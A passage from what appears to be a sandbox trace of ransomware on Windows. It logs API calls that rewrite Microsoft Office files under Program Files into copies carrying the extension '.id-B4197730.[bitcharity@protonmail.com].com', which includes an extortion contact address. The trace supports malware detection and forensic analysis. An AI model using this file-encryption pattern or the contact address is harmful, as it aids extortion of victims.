Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.492] CloseHandle (hObject=0x126c) returned 1 [0250.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0250.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0250.493] lstrlenW (lpString=".doc") returned 4 [0250.731] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.731] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.731] CloseHandle (hObject=0x1258) returned 1 [0250.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0250.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0250.731] lstrlenW (lpString=".doc") returned 4 [0250.733] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.733] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.733] CloseHandle (hObject=0x1258) returned 1 [0250.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0250.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0250.733] lstrlenW (lpString=".doc") returned 4 [0250.736] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.736] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.737] CloseHandle (hObject=0x1258) returned 1 [0250.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0250.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0250.737] lstrlenW (lpString=".doc") returned 4 [0250.738] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.738] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.738] CloseHandle (hObject=0x1258) returned 1 [0250.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0250.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0250.738] lstrlenW (lpString=".doc") returned 4 [0250.739] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.740] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.740] CloseHandle (hObject=0x1258) returned 1 [0250.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0250.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0250.740] lstrlenW (lpString=".doc") returned 4 [0250.741] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.741] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.741] CloseHandle (hObject=0x1258) returned 1 [0250.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0250.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0250.741] lstrlenW (lpString=".doc") returned 4 [0250.742] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.742] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.742] CloseHandle (hObject=0x1258) returned 1 [0250.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0250.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0250.743] lstrlenW (lpString=".doc") returned 4 [0250.743] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.743] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.744] CloseHandle (hObject=0x1258) returned 1 [0250.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0250.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0250.744] lstrlenW (lpString=".doc") returned 4 [0250.744] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.745] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.745] CloseHandle (hObject=0x1258) returned 1 [0250.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0250.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0250.745] lstrlenW (lpString=".doc") returned 4 [0250.746] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.746] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.746] CloseHandle (hObject=0x1258) returned 1 [0250.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0250.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0250.746] lstrlenW (lpString=".doc") returned 4 [0250.747] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.747] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.747] CloseHandle (hObject=0x1258) returned 1 [0250.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0250.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0250.749] lstrlenW (lpString=".doc") returned 4 [0250.750] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.750] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.750] CloseHandle (hObject=0x1258) returned 1 [0250.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0250.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0250.751] lstrlenW (lpString=".doc") returned 4 [0250.758] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.758] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.758] CloseHandle (hObject=0x1258) returned 1 [0250.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0250.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0250.759] lstrlenW (lpString=".doc") returned 4 [0250.759] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.760] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.760] CloseHandle (hObject=0x1258) returned 1 [0250.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0250.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0250.760] lstrlenW (lpString=".doc") returned 4 [0250.762] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.762] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.762] CloseHandle (hObject=0x1258) returned 1 [0250.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0250.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0250.763] lstrlenW (lpString=".doc") returned 4 [0250.763] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.764] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.764] CloseHandle (hObject=0x1258) returned 1 [0250.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0250.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0250.764] lstrlenW (lpString=".doc") returned 4 [0250.765] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.765] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.765] CloseHandle (hObject=0x1258) returned 1 [0250.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0250.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0250.766] lstrlenW (lpString=".doc") returned 4 [0250.766] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.766] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.767] CloseHandle (hObject=0x1258) returned 1 [0250.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0250.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0250.767] lstrlenW (lpString=".doc") returned 4 [0250.767] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.768] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.768] CloseHandle (hObject=0x1258) returned 1 [0250.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0250.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0250.768] lstrlenW (lpString=".doc") returned 4 [0250.769] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.769] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.769] CloseHandle (hObject=0x1258) returned 1 [0250.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0250.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0250.770] lstrlenW (lpString=".doc") returned 4 [0250.770] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.770] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.770] CloseHandle (hObject=0x1258) returned 1 [0250.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0250.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0250.771] lstrlenW (lpString=".doc") returned 4 [0250.771] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.771] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.772] CloseHandle (hObject=0x1258) returned 1 [0250.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0250.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0250.772] lstrlenW (lpString=".doc") returned 4 [0250.773] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.773] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.773] CloseHandle 